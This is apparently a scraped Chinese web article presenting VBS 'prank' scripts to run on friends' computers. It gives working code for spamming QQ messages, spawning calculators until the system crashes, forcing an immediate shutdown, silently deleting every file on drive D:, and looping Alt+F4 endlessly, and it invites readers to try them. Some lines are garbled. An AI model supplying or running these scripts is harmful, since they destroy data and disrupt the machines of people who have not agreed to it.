今天小饼为大家解答以下问题，关于整人vbs代码，整人vbs很多人还不知道，现在让我们一起来看看吧！

1、 在枯燥的工作环境下，有时候玩玩vbs的绝招代码也不错，一般是用vbs脚本实现的。简单的两行代码就可以实现。但是，大家也要警惕vbs脚本的危险。以下是给大家比较完整的收藏，喜欢的朋友可以参考一下：

2、

3、 Vbs技巧代码：

4、 首先你打开好友的聊天对话框，然后在你的QQ里写下好友的昵称，在下面的代码里替换xx，这样你就可以自定义给好友发QQ消息的次数了(只需要把代码里的数字10改一下)。

5、 ------------------------------------------------------------------------------

6、 On Error Resume Next

7、 Dim wsh,ye

8、 set wsh=createobject('wscript.shell')

9、 for i=1 to 10

10、 wscript.sleep 700

11、 Wow. AppActivate ('chatting with xx)

12、 wsh.sendKeys '^v'

13、 wsh.sendKeys i

14、 wsh.sendKeys '%s'

15、 next

16、 wscript.quit

17、 第二，打开无数个计算器，直到它们崩溃。

18、 ------------------------------------------------------------------------------

19、 set wsh=createobject('wscript.shell')

20、 do

21、 wsh.run 'calc'

22、 loop

23、 ------------------------------------------------------------------------------

24、 第三，直接关机

25、

26、 -----------------------------------------------------------------------------

27、 dim WSHshell

28、 set WSHshell=wscript.createobject('wscript.shell')

29、 WSHshell.run 'shutdown -f -s -t 00',0 ,true

30、 -----------------------------------------------------------------------------

31、 四。删除D:\中的所有文件。

32、 ---------------------------------------------------------------------------

33、 dim WSHshell

34、 set WSHshell=wscript.createobject('wscript.shell')

35、 WSHshell.run 'cmd /c ''del d:\*.*/f /q /s''',0 ,true

36、 ----------------------------------------------------------------------------

37、 5.一直按alt f4(打开和关闭所有东西)。

38、 ---------------------------------------------------------------------------

39、 dim WSHshell

40、 set WSHshell=wscript.createobject('wscript.shell')

41、 while(1)

42、 WSHshell.SendKeys '%{F4}'

43、 loop

44、 ---------------------------------------------------------------------------

45、 Vbs的绝招代码？以上收集了几种常见的vbs的恶作剧代码。有兴趣也可以试试。

本文讲解今天到此结束，希望对大家有所帮助。

标签：